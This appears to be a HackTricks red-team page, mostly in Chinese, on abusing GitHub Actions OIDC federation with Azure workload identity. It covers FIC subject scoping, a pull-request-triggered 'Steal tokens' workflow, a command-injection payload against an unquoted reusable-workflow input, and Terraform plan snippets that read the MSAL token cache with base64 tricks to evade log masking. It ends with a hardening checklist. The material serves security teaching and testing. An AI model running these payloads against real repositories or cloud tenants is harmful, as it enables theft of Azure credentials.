Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

概述

GitHub Actions 可以使用 OpenID Connect (OIDC) 与 Azure Entra ID(之前称为 Azure AD)建立联邦。GitHub workflow 会请求一个短期的 GitHub ID token (JWT),该 token 编码了关于此次运行的详细信息。Azure 会将此 token 针对 App Registration(service principal)上的 Federated Identity Credential (FIC) 进行验证,并将其兑换为 Azure 访问令牌(MSAL cache,用于 Azure APIs 的 bearer tokens)。

Azure 至少会验证:

  • iss: https://token.actions.githubusercontent.com
  • aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
  • sub: must match the configured FIC Subject identifier

默认的 GitHub aud 可能是一个 GitHub URL。与 Azure 交换时,请明确将 audience 设置为 api://AzureADTokenExchange。

GitHub ID token quick PoC

name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0

在令牌请求中强制 Azure audience:

OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

Azure 设置 (Workload Identity Federation)

  1. 创建 App Registration (service principal),并授予最小权限(例如,对特定 storage account 赋予 Storage Blob Data Contributor)。

  2. 添加 Federated identity credentials:

  • Issuer: https://token.actions.githubusercontent.com
  • Audience: api://AzureADTokenExchange
  • Subject identifier: 将范围严格限定于目标的 workflow/run 上下文(见下面的 Scoping and risks)。
  1. 使用 azure/login 交换 GitHub ID token 并登录 Azure CLI:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login

手动交换示例 (显示的是 Graph 作用域;ARM 或其他资源类似):

POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

GitHub OIDC subject (sub) 的结构与自定义

默认 sub 格式: repo:/:

上下文值包括:

  • environment:
  • pull_request (当不在 environment 时触发)
  • ref:refs/(heads|tags)/

payload 中常见的有用声明:

  • repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

通过 GitHub API 自定义 sub 的组成,以包含额外的声明并降低冲突风险:

gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'

注意:环境名称中的冒号已被 URL 编码(%3A),移除了针对 sub 解析的旧的分隔符注入技巧。然而,使用非唯一主体(例如,仅 environment:)仍然不安全。

FIC 主体类型的范围和风险

  • 分支/标签:sub=repo:/:ref:refs/heads/ or ref:refs/tags/
  • 风险:如果分支/标签未受保护,任何 contributor 都可以 push 并获取 tokens。
  • 环境:sub=repo:/:environment:
  • 风险:未受保护的环境(无 reviewers)允许 contributor mint tokens。
  • Pull request:sub=repo:/:pull_request
  • 最高风险:任何 collaborator 都可以打开 PR 并满足 FIC。

PoC:由 PR 触发的 token 窃取(exfiltrate 由 Azure CLI 缓存写入的 azure/login):

name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token

相关文件位置和说明:

  • Linux/macOS: ~/.azure/msal_token_cache.json 保存 MSAL tokens(用于 az CLI 会话)
  • Windows: msal_token_cache.bin 位于用户配置文件下;受 DPAPI‑保护

可重用工作流和 job_workflow_ref 作用域

调用可重用工作流会将 job_workflow_ref 添加到 GitHub ID token 中,例如:

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

FIC 示例:同时将调用者仓库和可重用工作流绑定:

sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>

在 caller repo 中配置 claims,使 repo 和 job_workflow_ref 都出现在 sub:

PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}

Warning: 如果你仅在 FIC 中绑定 job_workflow_ref,攻击者可能在同一 org 中创建不同的 repo,在相同的 ref 上运行相同的 reusable workflow,满足 FIC,并 mint tokens。始终也包括 caller repo。

Code execution vectors that bypass job_workflow_ref protections

即使 job_workflow_ref 范围设置正确,任何到达 shell 且未经过安全引用的 caller‑controlled data 都可能导致在 protected workflow context 内执行代码。

Example vulnerable reusable step (unquoted interpolation):

- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi

恶意调用者输入以执行命令并外泄 Azure token cache:

with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'

Terraform plan 在 PRs 中作为执行原语

将 terraform plan 视为代码执行。During plan, Terraform can:

  • 通过像 file() 这样的函数读取任意文件
  • 通过 external data source 执行命令

Example to exfiltrate Azure token cache during plan:

output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

或者使用 external 来运行任意命令:

data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}

Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.

加固清单

  • 切勿对敏感的 FICs 使用 sub=…:pull_request
  • 保护 FICs 所引用的任何分支/标签/环境(如 branch protection、environment reviewers)
  • 优先将 FICs 限定到 repo 与 job_workflow_ref(用于 reusable workflows)
  • 自定义 GitHub OIDC 的 sub,以包含唯一的 claims(例如 repo、job_workflow_ref、repository_owner)
  • 消除在 run 步骤中对 caller inputs 的未加引号插值;对输入进行安全编码/加引号
  • 将 terraform plan 视为代码执行;在 PR 场景中限制或隔离身份
  • 对 App Registrations 强制最小权限;对 plan 与 apply 使用分离身份
  • 将 actions 与 reusable workflows 钉到 commit SHAs(避免使用分支/标签 pin)

手动测试提示

  • 在 workflow 中请求 GitHub ID token,并以 base64 打印以避免被掩盖
  • 解码 JWT 检查以下 claims:iss、aud、sub、job_workflow_ref、repository、ref
  • 手动将 ID token 兑换到 login.microsoftonline.com 以确认 FIC 匹配及 scopes
  • 在 azure/login 之后,读取 ~/.azure/msal_token_cache.json 以验证令牌材料存在

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks